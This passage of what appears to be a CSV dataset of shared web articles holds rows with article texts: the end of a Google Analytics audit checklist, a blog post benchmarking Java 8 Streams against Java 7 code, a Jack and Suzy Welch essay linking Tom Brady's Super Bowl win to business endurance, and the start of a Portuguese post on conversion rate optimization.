through the account. Currency By default, the global currency type of a reporting view is USD. Make sure to set a preferred currency for your reporting. Time zone This is the country or territory and the time zone you want to use as the day boundary for your reports, regardless of where the data originates. Timezone has to be set to the correct region for the domain as sessions which start before midnight and end after midnight will be split in two. Default page This is the web page that loads when a user enters the domain of your site into the address bar. The missing default page of the view can lead to splitting the default page into different queries. Bot Filtering enabled Bots and spam traffic can inflate the number of sessions to a domain and render data as potentially useless as it becomes unreliable. To reduce this Google has a built in feature to exclude spam and bot traffic but by default, it is turned off. Site Search enabled If your website has a search bar, you need to ensure you're making the most of this valuable report in Google Analytics. It's quick to set up and can soon be giving you all sorts of insights and ideas that you may never have had without it. AdWords account linked to Google Analytics Linking a Google Analytics property to your AdWords account can help you analyze customer activity on your website after an ad click or impression. This information can shed light on how much of your website traffic or business comes from , and help you improve your ads and website. It also allows you to import Google Analytics goals and transactions, see Google Analytics data in your AdWords reports, and import Analytics remarketing audiences. You'll also see AdWords data in your reports. Search console linked to Google Analytics The Search Console reports in Analytics provide information about the performance of your organic search traffic. You can see data like user queries and the number of times your site URLs appear in search results (impressions), along with post-click data about site engagement like bounce rate and e-commerce conversion rate. This combination of data helps you optimize your site for the most profitable traffic. Content grouping enabled and correct Content Grouping lets you group content into a logical structure that reflects how you think about your site or app and then view and compare aggregated metrics by group name in addition to being able to drill down to the individual URL, page title, or screen name. For example, you can see the aggregated number of page views for all pages in a group like Men/Shirts and then drill in to see each URL or page title. Internal / Agency IP's filtered You should filter out traffic to your website from people on your corporate network. Self-referrals excluded If you find your own domain showing within the referrals report. It is typically triggered by the use of multiple subdomains. Payment gateway referrals excluded Payment gateways can also appear within your referral traffic, e.g. Paypal. The issue here is that the payment gateway will get credit for any transactions instead of the original traffic source. Tracking code version Universal analytics tracking has many advantages over ga.js tracking. Universal tracking connects multiple devices, sessions, and engagement data with the User ID. So, it's highly recommended you upgrade from ga.js or dc.js to analytics.js. Tracking on all pages You can use screaming frog tool to crawl all the website pages and ensure that the analytics tag is on all pages. Mobile site being tracked If you have a separate mobile site you should ensure that it also has mobile tracking on all pages. Tracking code in correct place in source code Ensure that the tracking code is right before the closing </head> section. 2- Intermediate Event Tracking Events are user interactions with content that can be tracked independently from a web page or a screen load. Downloads, mobile ad clicks, gadgets...etc. Events can help you a lot understand your customers better so make sure to utilize them. Also, it's way easier to set up events through , you can learn more about this Goals/Funnels Goals measure how well your site or app fulfills your target objectives. A goal represents a completed activity, called a conversion, that contributes to the success of your business. You can turn your events easily into goals. GA provide many templates that are designed to help you set actionable goals that meet standard business objectives. You can edit any template field before saving a goal. Ecommerce Tracking You need to ensure that you have complete e-commerce tracking set up. This will allow you to analyze purchase activity on your site or app. You can see product and transaction information, average order value, e-commerce conversion rate, time to purchase, and other data. More details about eCommerce tracking can be found . Enhanced Ecommerce Enhanced Ecommerce is a plug-in for analytics.js enables the measurement of user interactions with products on e-commerce websites across the user's shopping experience. It also gives you insights on the activity: product page views, adding and removing products from shopping carts, initiated, abandoned, and completed transactions. It's highly recommended to have it implemented if it's not. Site Search You need to verify if your site search configuration is set up correctly or not. Check the search query parameters and make sure they match your website search box parameters. More info can be found Social Media Many social networks provide embeddable buttons and widgets that allow users to easily share content from the web or from an app. Examples of these buttons include the Google+ ""+1"" button, or the Facebook ""Like"" button.User interactions with these embedded social buttons represent social interactions with your content. These social interactions are valuable signals of user engagement and can be measured using Analytics. Please check the full guide Raw Data View You should have a raw data view where no changes or customizations are to ever be made to this view. Excessive Sampling If you've got so many data that you're sampling all the time, you might want to consider Google Analytics 360. Query Parameter Exclusion Exclude URL Query Parameters prevents splitting pages into multiple rows that have different parameters. Most of the time you want to aggregate your data by page content, so this isn't good when you go to analyze your content metrics. Annotations It allows users with access to a Google Analytics profile to keep a record of the events of a website, anything that might ""move the needle"", so to speak. A detailed record will help employees and future employees recall previous events. This can also significantly reduce time spent digging for answers and causality in the data. The sooner you can learn how they work, the better. Low Bounce Rates We did explain this in details in a previous article, please check Troubleshooting Too Low Bounce Rate in GA . Campaign Tagging Make sure to tag all of your non- campaigns like email, paid social , affiliate with consistent UTMs in order to track the performance of these sources in GA. Referral spam excluded Google Analytics has a built in function that filters out the majority of bots and referral spam hits. However it doesn't catch them all, so to improve the accuracy of data we recommend implementing a quick fix for referral spam using custom filters on Reporting views. Demographic data set up Demographics and interests data provides information about the age and gender of your users, along with the interests they express through their online travel and purchasing activities. Understanding your audience composition in terms of gender, age, and interests lets you also understand the kinds of creative content you need to develop, the kinds of media buys you should make, and the kinds of audiences you need to develop for marketing and remarketing campaigns. Custom Reports A Custom Report is a report that you create. You pick the dimensions (City and Browser, for example) and metrics (Sessions, Pageviews, and Bounce Rate, for example) and decide how they should be displayed. This can save you much time by looking only at the KPIs and metrics that matter the most to your business. Custom Dashboard Dashboards are a collection of widgets that give you an overview of the reports and metrics you care about most. Dashboards let you monitor many metrics at once, so you can quickly check the health of your accounts or see correlations between different reports. Dashboards are easy to create, customize and share. If you have an e-commerce website, you need to verify that most of the elements below are set up correctly: 3- Advanced Custom Dimension It allows you to combine analytics data with non-analytics data, for example, you can import dimensions from your CRM system to GA like client id, categories, shares, timestamp, product SKU,...etc. We already explained before how to expose Client and User IDs using custom dimensions. Custom Metrics This allows your create your own metrics like ROI and margins and have more visibility on the performance of all your source in GA. Data import Google Analytics allows importing cost data for non-Google campaigns where you can monitor performance across all your channels in one place and calculate your return on investment. It also lets you upload data from external sources and combine it with data you collect via Analytics. You can then use Analytics to organize and analyze all of your data in ways that better reflect your business. For example, you can upload refund data and calculate the cancellation rate by a campaign. User ID The User ID enables the association of one or more sessions (and any activity within those sessions) with a unique and persistent ID that you send to Analytics so you can track cross-device conversion and calculate the lifetime of your customers. Attribution Models Attribution modeling in Google Analytics (GA) is potentially very powerful in the results it can give us, yet few people use it, and those that do often get misleading results. The built-in models are all fairly useless, and creating your own custom model can easily dissolve into random guesswork. You can even customize your own models.",en
1486469778,CONTENT SHARED,-14569272361926584,-8781306637602263252,9157733567505152711,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",SP,BR,HTML,http://guirmendes.blogspot.com.br/2017/02/java-8-streams-deeper-approach-about.html,Java 8 Streams - A Deeper Approach About Performance Improvement,"Introduction Java 8 was released almost three years ago, but it still lacks articles with deeper approach through Stream API. There are some good articles about it, but not a single one showing a real world example and comparing its performance against Java 7 style of coding. This article assumes that the reader already has some knowledge about Stream API, so many simple code will not be explained in here. To start learning about Stream API, I suggest this article , from Benjamin Winterberg. This article shows a real world alike example, with several different approach of coding, always comparing performance against Java 7. It is result of a study over Stream API's performance when dealing with file processing. The main goal is to use as many Streams and Lambdas as possible into Java 8's code and not to use a single line of Java's new features into Java 7's code, in order to learn how to use Java 8's new features. This project was my first contact with Java 8 at all and I will show how the application evolved to current status. Be ready to see some bad code as well! The text is divided in sessions and pretty much follows time line from the project's development. All benchmark results are posted at the end and previous sessions talk about how I implemented and improved the project. Please note that the article is long, so please be patient and reserve some time to learn where I made mistakes and maybe to help me find any error I may have implemented in the code. Input Data As input data for processing, I used a Brazilian government data file, known as Sigtap (can be found here ). It is a zip archive, containing lots of text files, divided into two groups: layout files and data files. Data files contains positional based information, where each line represents a database register. Layout files contains information about each position in data files. Those files looks very alike a database export, which is the way we'll treat them in this article. It is important to note that there is a layout.txt file containing all other layout files' information. Let's call this file the general layout. It'll be used later in this article. There is an example data into Resources' folder inside the project. Please take a look into those files to better understanding about the implementation decisions to write the code. The Project The objective is to convert the input data files into SQL inserts. The inserts are not printed or saved anywhere, just generated in memory, because of volume of data. It uses only Java default libraries to process everything, except the benchmarks itself. For that, the JMH library was used. Because of JMH, the jar of the project excpects a JDK argument called path to run properly. This argument is the path to Sigtap file's extraction folder, for example: '/path/to/Stream_Study/src/main/resources/Sigtap/'. Development Phase - Java 8 In this session, I'll present how the code was written, using some subsessions to make reading easily. Although it's not strictly necessary, it's recommended to read the next subsessions with this source file for consulting. Reading files The project started with Java 8 implementation. The first surprise was newer Files API. One code line to read all file's lines is impressive! Check out the code inside Image 1. Please nothe that Paths.get may expect the file's encoding. It's important to inform in this case because the input data is encoded with ISO 8859-1. Also note that exceptions are ignored because of example purposes. In this case, an empty List will be returned to prevent NullPointerException to happen. Processing files With this very nice start, let's start file processing. The strategy is read the general layout file to detect all tables and its columns. So, let's use a Map, where the key is the table's name and the value is the table's columns, as a List of String. This strategy brings a easy way to work with layout's information and to access desired data from data files. First nightmare: how to perform this conversion using Stream API? None of default options could do the job. So, let's Google it a bit. After Googling, I came to this StackOverflow . Its accepted answer does the job, but hey! What an Alien code! At this point, I was not ready to understand such a complex code. No problem understanding that it was the implementation of a custom Collector, but the Collector code itself. Note that at this moment, I inserted lots of waste into code. The strategy is to split the original file's list into sublists (Image 2). The sep argument is String::isEmpty , because I want to split my list when I find an empty line. The custom Collector receives three arguments: a Supplier, an Accumulator and a Combiner. The Supplier object will be returned after a call to Stream's collect using the custom Collector. The Accumulator function (actually a BiConsumer) will be called for each element of the stream and creates an output element. The Collector function (a BinaryOperator) will only be called if this Collector is used into a ParallelStream and is used to combine multiple results from Accumulator into one only result. Note that for serial Stream this function will never be called. The above code is not ready to ParallelStream, but in this case there is no difference, because we need the list to be processed serially, otherwise we won't get the expected result. After splitting the list into a List<List<T>>, it is time to convert it into a Map<T, List<T>>, as desired. Let's take a look into Image 3's code. The list argument is the original file's List of lines and the sep argument is String::isEmpty , because I want to split my list when I find an empty line. After calling the collect using the above splitBySeparator Collector, a new Stream is started, filtering empty lists (there are empty lists at this point) and collecting to a Map using the default Collector implementation that generates a Map. Note that this code is generic enough to receive any List and any Predicate that it'll work. Just note that the first sublist's element will be used as the Map's key, so some adjust may be needed at this point. Save this comment for Java 7's implementation. Validating Although it is an example project, it follows real world applications, so it needs some kind of data validation. In this case I choosed to simply compare if general layout and table's specific layout has same content. To do so, the simplest way is to convert the List of columns into a single String taking care of using the same sorting for both files. The Map.Entry in above code is an entry from the Map of general layout. The key is the table's name and the value is the List of this table's columns (with extra column processing information). This snippet just starts a Stream from each List of columns, sorts it and collect to String, using default joining Collector. Then, it throws an Exception if both are not the same. Please note the call of readFile method. It guarantees the equals' argument is from another file. Generating SQL inserts The next step is generate the SQL inserts desired. This is the core of processing in this project. At this point the data files are processed using the positional information contained into layout files. The Map.Entry in Image 5's code is an entry from the Map of general layout. The key is the table name and the value is the List of this table's columns (with extra column processing information). The first thing to do is validate the entry using the Image 4's validate method. Once it's validated, it's important to remove some header information from file, to prevent misbehaviour of the application. Some extra information about the layout now became important: this file's columns can be splitted using a comma, here convenientely replaced by SEPARATOR constant. After splitting the layout, there are only three information positions interesting for this project: the index 0, containing the column name; the index 2, which informs the position to start reading data in data file; and the index 3, indicating the position to stop reading data in data file. Next, it's the moment to get a list of each column's name. Getting a Stream from layout's List, I mapped each splitted layout line to its 0 index, then sorted the result and then collected using default Collector's toList method. After extracting column information, it's time to iterate over data file's content. Note that this is the first time I used a parallelStream in entire code so far. I used it here because this is the first point where there is no harm using parallelism and benchmarks showed parallelStream is faster at this point. And it is a major tip : test your own case to see if parallelStream is the best option. I used a forEach loop here to populate a List of Map to represent each line of the file. The Map is a key value representation of data, where the key is the column's name and value is the content of this column in this line of the file. Note that for each file line there is lots of columns so I used a new forEach inside the first, this time into layout's content, to convert each line into the Map I wanted. At this point, the processedDataList variable is a List of each data file's lines converted into a map of columns to its data. Now I used another parallelStream over processedDataList to in fact generate the insert. After removing null elements, I map the line to the SQL insert text and then collect it to a List, using default toList Collector. To produce the SQL insert, I used code shown in Image 6. There is a StringBuffer to build my final String and two Stream operations inside the method. The first one I already explained before. The second one is the most interesting. Starting a Stream from the list of columns, each column is mapped to its data value. Then I use Java 8's Optional to treat null elements, returning SQL's keyword NULL String when there is no data for that column in the Map. Also, it is important to map each empty value to SQL's NULL String. Then I used the default Collector's joining method to create a String. Orchestrating everything Now that I showed how to process the entire file it's time to understand how to orchestrating all this methods calls. Image 7's code shows how to orchestrate everything. This is the entry point method to all processing and it is very simple. First I use readFile to read general layout file. Then I use listToMap to transform the List of the file's lines into a Map where the key is the table's name and value is the List of table's columns. The next step is to get the Map's entry set, which is an information where I can get a Stream, to start processing. After getting Stream from Map's entry set, it is important to remove null elements. Then, each Map.Entry is converted to process method's output result using flatMap . Flat mapping is an extremely important concept of Stream. It allows you to convert one input line into multiple output lines transparently. In this case, each entry of the Map, representing a table, is converted to a List of Strings, representing all SQL inserts I need to run on that table. Last, it's time to produce the algoritm's output: a List of String. The default Collector's toList method is used here. Comments over this implementation The code presented in this session is the result of my first contact with Java 8. It contains lots of problems I'll discuss in the session called Improvement Phase - Java 8 . At this point, a good exercise is to understand this code and try find any performance problems to compare with my results to be shown. This way you may produce an even better optimized implementation than mine's. Development Phase - Java 7 After first implementation using Java 8, it's time to talk about first implementation using Java 7. The first version of Java 7's code was basically a translation of Java 8's implementation, to test performance with a consistent base. Although it's not strictly necessary, it's recommended to read the next subsessions with this source file for consulting. Reading files In this version, I used most common implementation to read files: Java 6 style. Please note the amount of extra code, comparing to Java 8's version. Processing files The same strategy of Java 8's version was used at this point: create a Map where the key is the table's name and value is a List of table's columns. No problem to write the Java 7 version, so no Googling needed. Please note that this method is much more readable. Also, there is no need to implement a two method solution, only one can do the job. Reading the code, the first loop does the same thing the custom Collector does in Java 8's version and the second loop generates the output Map, just like Java 8's default Collector's toMap method. Note that this implementation also has problems with empty Lists. Pay attention that this code is not completely generic and only Strings can be processed without modification. I choosed not to use Java 8's functional interface Predicate here to stay strictly into Java 7's default code style, exactly to show where Java 8 is better or worse, speaking of readability and usability. Validating Following Java 8's strategy again, let's validate input's content comparing the String generated from columns' List from both general layout and each table's layout file. Comparing to Java 8's code in Image 4, there is plenty more code in here. It's easy to understand, but Stream implementation also is easy to read. Here I use two for loops to convert each List into a String and then I check if both are equal. An inconvenient here is the need to remove the last SEPARATOR from output String, made through substring calls. I choosed removing last SEPARATOR's character to keep the method's comparing objects exactly the same as generated by Stream solution and keep consistency. Generating SQL inserts As of Java 8's version, here is the core of Java 7's implementation. Read carefully the Image 11's code. This is the most similar code snippet between versions. Almost every line of this code does the same thing as Java 8's version. Main difference is that I don't use parallelism in here, just sequential processing. Generating the SQL insert with Java 7 is a lot more code to write, but it is easy to read. The same approach here: a StringBuilder to construct the output String, two loops, one for column list and other for data list. Same problem here to remove final SEPARATOR character. It is really annoying, but does the job. Orchestrating Everything Again let's talk about how to orchestrate everything shown until here on Java 7's version. Again, very similar code between versions. In fact, the only differences are the listToMap specialized implementation (without a Predicate argument) and the loop instead of Stream's flatMap. This method also is the entry point to all processing. Java 8's version uses less code to do the same processing, but this code is easier to understand. Comments over this implementation This session's code is just a translation of Java 8's version. In fact, any methods can be replaced from both implementations. The only real difference over methods' interfaces is the use of Predicate as separator function on Java 8's listToMap , something that Java 7 can't provide to you and that can be very usefull when reusing code. Also is clear that Java 8 can be used to produce a lot less code instead of Java 7. At this point, there is a lot of waste code on both implementations. As spoiler, this Java 7 implementation is faster than Java 8's. More about it into Benchmark Results' session, after discussing improvements to each version. Again I recommend understanding all code shown in this session and try to remove waste code and improve performance. Improvement Phase - Java 8 At this session, the main goal is to show how the code evolved, after studying more and rethinking about the problem. Here I'll talk just about Java 8's implementation improvements and next session will talk about Java 7's version. Again, the sequence of facts is how I really developed the project. I developed two major evolutions using Java 8 and I'll call them V2 and V3, to simplify writing and understanding. I'll refer first version as V1 when needed. Same subsessions from above sessions will be used to show how each part evolved. Skipped subsessions has not been changed since previous version. Java 8's V2 Processing Files Validating Generating SQL inserts Lots of improvements here. First, all synchronized stuff has been removed to simplify and increase readability. After, one less Stream processing step is needed, joining last two parallelStreams into only one parallelStream. It means one less iteration over results and more performance! One important change is the use of a Supplier variable. It is very usefull when there is need to reuse a Stream. Java's Streams are not reusable, once it is processed with a terminal operation, the Stream can't be used again. But we still can set a Stream to a variable in order to reuse code using the Supplier functional interface. Look into columnSupplier variable's accesses. It has one get method which returns a new instance of the desired Stream each time it's called. It helps the readability of the code. Also note that this method now returns a Stream instead of a List. Java's Streams are only processed when a terminal operation is called, such as forEach , collect and reduce . The less calls needed to terminal operations the better, because this way Java can optimize code's execution time. More about how this can optimize your code's execution time on next session. Please come back and take a look into Image 7's code. Flatmap needs that lambda's output to be a Stream . The V1's collect approach was very wrong, since the process method's output List was only used to turn into a Stream again. Generating the insert text also was improved. Compare it to Image 6's code. Now I used a joining Collector's different constructor to inform a prefix and a suffix to output String. Note that baseInsertText variable's value does not changes for each processed data line. Now it's generated once for each table and reused for each data file's lines. Less code to process, more performance. Orchestrating everything Only change is to not need to start a Stream inside flatMap because process method already returns a Stream. Comments over this implementation After this improvement round, the code became more concise and easy to understand. Lots of wasting operations were removed. Looking at the code, doesn't seems to be such a huge improvement, but believe me, it is. This version made me start to think about how to develop considering the use of Stream API and helped me understand how this new world about Java programming works. Java 8's V3 Improvement Phase - Java 7 Java 7's version of this project also has been improved, again taking base at Java 8's V2 implementation. But the second version of Java 7's code is not just a translation of Java 8's second version, some other improvements has been applied too. There is only one improvement version based on Java 7, called V2. First version will be reffered as V1. Java 7's V2 This version brings all shareable optimizations used in Java 8's V2 plus some exclusive changes. Although it's not strictly necessary, it's recommended to read the next subsessions with this source file for consulting. Reading files This time, I decide to use Java 7's default implementation for reading files, using try-with-resource. It shortened a lot the code, also making it more readable. Compared to Image 8's code, there's a lot of improvement here on readability. Please note that multiple try blocks are not strictly necessary, but to use only one block implicates constructing objects passing a constructor as argument, which reduces readability. The most advantage of try-with-resource is that it's not necessary closing resources initialized inside the parenthesis. Processing files This subsection contains a lot of improvement, both in performance and readability. A new strategy was used to convert a List into a Map. The new approach needs only one loop over input List to generate the Map. There is an extra attempt to improve this section that won't be discussed in this topic, only in Benchmark Results' session. The code can be found here . Note how is possible to construct efficiently the desired Map using a simple flag. This solution also has no problems with empty Lists. This code is much more readable than Java 7's V1 implementation and much much more readable than Java 8's versions. Validating No significantly changes has been made into validate method in terms of performance. But readability has been very improved with use of a helper method to convert a List into a String using a default separator. Comparing to Image 10's code, the main change is just the use of a helper method for grouping List into a String. It's very clear how the code became cleaner and now there is some reusability. The helper method has no changes comparing with Image 10's code that it replaces. Generating SQL inserts There are some improvements here already known from Java 8's V2, such as eliminating one loop over data and processing only once the SQL insert's base text. Some waste code was removed, but general structure of this method was not changed. Compare it with Image 11's code, there's not so much changes in here. Note that generateInsert method has evolved a lot. Reusing baseInsertText variable's content simplified very much this method. Compare it with Image 12's code. Both readability and performance became better at this point. Comments over this implementation The major improvement into this version was the listToMap method. Other changes were just about removing unnecessary code, while listToMap is a really new code. But even with few changes, all waste code was decreasing significantly how performant this implementation can be. I hasn't found any new improvements to apply into this code at the moment and certainly some improvement may still be possible. Anyway, I'm very happy with the performance results for this implementation. Benchmark Results Now that all code has been properly explained, let's see how each version performate in a consistent test. As already told, I used JMH library to benchmark all code. It makes test results consistent and provides serious metrics. All benchmark code is availiable in this file and will not be explained here. Image 30 contains all benchmark results implemented in this project. All them will be properly explained in next subsessions in details, properly splitted to better readability. About table's columns: Benchmark column displays benchmark's name; Mode column displays which test this results refers - avgt means Average Time; Cnt column displays how many tests was performed to compute the score; Score column is the test's result and the most important column to compare; Error column is the error margin of the test; Units column is the measurement unit of Score and Error columns. Please note all benchmarks here used the Average Time method. Also, note that Benchmark name explains which version of Java is used and which version explained here the test refers. Also note that benchmark results are machine dependant, so running in different machine will produce different results. Read file results Let's start talking about reading files. Both Java 7's implementations has exaclty the same performance. Java 8's first and second implementations shows pratically the same results, a little bit slower than Java 7's versions, and Java 8's V3 implementation is very faster than anything! Why? Because readFile 's implementation in Java 8's V3 just reads the file into a Stream, which is just closed here, with no processing realized. In fact, this test only shows how much time takes to prepare a Stream, not to read the file itself. Analyzing the results, the verdict is to use Java 8's versions, V3 if a Stream is required or V1 if a List is required, except if performance is a very critical issue to your application and file reading operations are very common. Otherwise, Java 8's facility to write and read and the little difference between results are really big convincing arguments. Conversions from List to Map Please note here that some benchmarks does not refers to one version explicitly. Those tests are described partially back in Improvements' sessions as partial improvement code. Note also that Java 8's V3 splitList method is not tested here. It happens because this method throws lots of exceptions of to many open files while running benchmark tests, even collecting Stream result. Looking into Java 7's results, the partial study method using edges approach, not shown in this article, looks faster, but its more complex to understand code and its greater error margin was decisive to choose V2's implementation. Because of error margin, in past tests the results were different, with V2 implementation faster. Now looking into Java 8's results, the faster implementation is definitely the one using ForEach approach. This version is basically Java 7's V2 replacing traditional for loop by Java 8's forEach call and lambda argument. This code works, but has some inconvenient global variables because lambda can't access local non final variables. That is why I discarted this solution. Talking about the edges' approach, the same argument from Java 7's edges approach not has been choosen is applicable. V2's implementation is as fast as edges approach, but shows more stable results. In this case, Java 7's code is faster than Java 8's implementation. Also, the second Java 7 version's code is more easy to understand, so it's better to use Java 7's style at this point. Although Java 8's version has a very close performance, it lacks in readability. Full processing Surprise! Java 8's V3 optimized implementation is faster than Java 7's V2 optimized implementation?! Yes! But please notice that Java 8's V3 has lots more error margin than Java 7's V2. It means at long term, Java 7's V2 can be faster, or even that is more likely that Java 7's single shot calling may be faster than Java 8's single shot calling. I prefer to say both results are in a tie. But hey! That's awesome! It means that Java 8's Stream can be as fast as Java 7's default concepts and this is a great result! Looking towards other results, it's impressive how much performance can be obtained by just removing waste code. It also shows that Java 8's Streams need to be correctly written to obtain satisfatory performance. Conclusion This project shows a bit about Java 8 Stream's optimization. It's clear that is very easy to made a mistake when working with Streams and it may slow down your application's performance in a concerning way. It just means that Stream processing must be very carefully analyzed before releasing the code. It is important to note that a real world application would use a hybrid approach, mixing Java 7's concepts with Java 8's new Stream processing, and not this completely heterogeneous solution as shown here. This article is the proof that Streams can be used alone, but Java's default style is still easier to use and usually has better performance. Please use comments box or Github's issues/pull requests to interact about the results and suggest improvements. This way, all of us learn together how to improve development with Java 8's new features. Thank you for your time!",en
1486482677,CONTENT SHARED,-197504840924463488,-3390049372067052505,-8736602730774163315,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",SP,BR,HTML,https://www.linkedin.com/pulse/tom-brady-business-guru-who-knew-jack-welch,Tom Brady: Business Guru. Who Knew?,"Picture courtesy of Boston Magazine By Jack and Suzy Welch Jack Welch Follow Following Unfollow Jack Welch Sign in to follow this author Executive Chairman, The Jack Welch Management Institute What a game last night. There's never been, and there may never be, another Super Bowl like it -- and we'd say that even if we weren't huge New England Patriots fans! ""That's why you play until the end."" But we're writing this article because, in all the frenzied excitement of the post-game celebration, we were thunderstruck by one particular thing Tom Brady said in explaining his team's stunning win. He was talking about endurance. About sticking with a challenge when it's difficult and daunting in extremis . About not surrendering -- even when the odds feel impossible. About never losing the hope that if you keep trying - switching things up, refining your plays, overcoming your weaknesses -- there is always a chance you can still win. So true, Tom. But we would add: That is business , people . That is how competition works, and how careers work. Look, there are many aspects of business today where you get instant results. That's one of the advantages of the digital economy. You can know within hours if a certain ad campaign is working or not. You can know within days if a new product has taken off. But just as often, and maybe even more so, business is the story of long cycles. At the extreme, think about aerospace, where the process from sale to delivery can take five or eight years, with interminable but inevitable setbacks along the way for complex design reconfigurations and the like. There's movie-making. There's book publishing. There's construction of apartment buildings and cargo tankers. Thousands of people are involved in the ten-year build up to every Olympics. The list of in-for-the-distance enterprises goes on and on. And in every case, the ""game"" can feel like the Super Bowl probably did for the Patriots last night. A protracted, discouraging slog, punctuated with occasional moments of, ""We. Are. Not. Dead. Yet."" Not always, but very often, victory goes to the team that holds onto that last notion the most fiercely. That identifies its mistakes quickly and corrects them, that gets fired up, not disheartened, by its competitor's boldness, that doesn't slow down to figure out who to blame for the mess it's in. The same is true about careers. Sure, some people zoom to the top of their chosen field. That's rare, though. Most of us get passed over for a job or two (or three), wait far longer for a promotion than we'd like, and sometimes even get let go for not cutting it. The truth is, professional success is generally a long-cycle thing. And ""victory"" - say, a sense of meaning and accomplishment - goes to those who keep at the jagged path, getting up when they fall down, finding a way around blockages again and again, never slowing down to assign blame or throw a pity a party. When it comes to competition and careers, to paraphrase a quarterback who knows what he's talking about, the win goes to the people who never stop believing they can win, no matter what. You just have to play to the end. Jack Welch is Executive Chairman of the Jack Welch Management Institute . Through its program, the Jack Welch Management Institute transforms the lives of its students by providing them with the tools to become better leaders, build great teams, and help their organizations win. The program was recently named one of the Top 25 Online MBA Programs for 2017 by the Princeton Review for its excellence in five areas of selection criteria: academics, selectivity, faculty, technical platforms, and career outcomes. The program was also recently named the #1 most influential education brand on LinkedIn and one of the top business schools to watch in 2016. Suzy Welch is co-author, with Jack Welch, of the Wall Street Journal and Washington Post best-seller The Real-Life MBA , and of the international best-seller Winning. Executive Chairman, The Jack Welch Management Institute",en
1486491990,CONTENT SHARED,8020104407235635818,-5639303336519418445,8019533562915233902,"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",SP,BR,HTML,http://blog.pmweb.com.br/crescimento-com-baixo-investimento-resposta-e-cro/,CRO: crescimento com baixo investimento,"Esta é a primeira vez desde o início do mercado digital e do e-commerce em que há um baixo indíce de crescimento. Estamos vivendo um momento diferente do habitual e, com isso, aumentamos nosso receio em realizar alguns tipos de investimentos. Neste artigo não pretendemos abordar fatores macroecônomicos, mas auxiliar a você e à sua empresa com estratégias que possivelmente tragam resultados ao negócio de forma imediata e no médio prazo, sem necessariamente ter de aumentar os investimentos. É tendência natural: quando o caminho à frente parece turvo, a tendência é caminhar devagar, ter mais cuidado onde se pisa ou mesmo mudar de rumo. Assim tem acontecido com as empresas, onde ações que parecem não estar apresentando resultados imediatos estão sendo abandonadas. O foco, assim, passa a ser em projetos com expectativa de retorno a curto prazo, o que parece óbvio. No entanto, esse tipo de estratégia pode não ser benéfica à sustentação da companhia a longo prazo. Por exemplo, se a organização olhar apenas para os resultados de performance, muitas vezes ações de branding e experiência serão negligenciadas para que a conta feche. Fica muito claro que a quantidade de caminhos a serem seguidos é tão ampla que se geram paradoxos de escolha que dificultam a vida de qualquer gestor. Propomos que você leia este texto tendo em vista o seguinte raciocínio: menos mídia e mais conversão. Não vamos falar sobre como trazer os clientes à sua plataforma de vendas, mas em como retê-los e orientá-los à compra. É disso que se trata o CRO - Conversion Rate Optimization - ou otimização da conversão . 1. Utilizando inteligência, dados e análise A capacidade de usar estrategicamente os dados gerados em diversas fontes impacta diretamente nos ganhos reais e no crescimento de qualquer tipo de negócio, independentemente de ele ser um e-commerce ou não. Também são os dados que garantem a otimização da experiência do consumidor e de seus fluxos, porque permitem conhecer as preferências, o histórico, o comportamento de compra e outras variáveis que definem quem é o seu cliente - isto é data driven marketing . A primeira etapa de análise é o mapeamento da audiência: como estamos trazendo clientes para site, portal, aplicativo e landing pages? Esse processo é fundamental para avançarmos à segunda fase, relacionada à capacidade do negócio em gerar interesse do consumidor pelo seu produto/serviço. A análise dos dados, neste ponto, mapeia a jornada do possível cliente desde a chegada, passando pela a navegação e chegando à visualização de detalhes do item em questão. A terceira etapa de avaliação é a tomada de decisão. É nessa hora que teremos algumas conclusões relacionadas ao momento em que o usuário está optando por adquirir ou não o produto. Uma vez que o consumidor optou pela compra, entramos em um processo sensível de conclusão que exige análises sofisticadas para o completo entendimento das dificuldades encontradas, pois a intenção é remover possíveis barreiras. A etapa final de análise refere-se à quantidade de pedidos por cliente, ou seja, à frequência de compra. A primeira e a última etapa do processo sempre serão as mais estratégicas, pois alimentam e consolidam o processo de otimização da conversão. É importante não ficarmos apenas na camada de análise e sim acionar os dados e validar os estudos com intuito de adequar a performance das etapas de compra. Algo que também não pode ser negligenciado aqui é a avaliação da concorrência, que é fundamental para posicionar as estratégias e nortear os próximos passos. 2. Melhorando a experiência do usuário Tendo os dados organizados e as análises de comportamento, agora é necessário pensar em UX - user experience. Avaliar as interações do usuário no site nos direciona a tomadas de decisões diferentes do óbvio, trazendo inovação para o negócio. Investir em retenção custa dez vezes menos do que adquirir novos consumidores, conforme estudo da Econsultancy. Portanto, busque manter seu cliente engajado. Se não fosse via UX, a Apple jamais seria a marca líder de mercado e referência de design e usabilidade. É preciso enxergar a importância do investimento nessa área e abordar o cliente de maneira completa, de ponta a ponta. Não adianta contar com analistas e times focados em mídia e performance. É preciso também dar foco à conversão. A ideia é crescer de forma estruturada em alguns pilares que ajudarão nesse sentido. A. BI (Business Inteligence): dados são a base de tudo. Entenda profundamente onde estão os gaps e as áreas problemáticas B. UX: avalie os motivos para os comportamentos e as atitudes do seu consumidor nas suas páginas C. Otimização: entregue a mensagem certa, para pessoa certa, no momento certo. Além de testar todo tipo de hipótese, precisamos personalizar o conteúdo de acordo com o comportamento do usuário. 3. Aumentando a receita Existem três fatores básicos que, bem trabalhados, possibilitam a qualquer e-commerce aumentar seu faturamento: audiência, mix de produtos e conversão. A. Incremento na audiência Se você tem mil pessoas acessando seu site diariamente e fizer esse volume crescer para 10 mil, provavelmente a sua chance de aumentar as vendas será proporcional. No entanto, essa tática geralmente envolve aumento de custos com: agências, equipes e mídia. Claro, o ponto-chave aqui é trazer audiência qualificada, mas isso demanda um investimento ainda mais alto. B. Aumento do mix de produtos Não basta crescer aleatoriamente o seu mix, essa evolução precisa receber um foco específico. É possível, no aspecto incremento de sortimento, evoluir para táticas como marketplace, mudança no público-alvo e redefinição de ticket médio. Há muitos casos onde grandes marcas realizam resultados ruins em termos de receita e rentabilidade na loja online e, no mesmo segmento, outros e-commerces médios e pequenos com planejamento de estoque e mix extremamente assertivos, conseguem concorrer com os grandes. O importante aqui é olhar para a realidade da sua empresa e entender quais táticas são adequadas. C. Crescimento na taxa de conversão Taxa de conversão é um 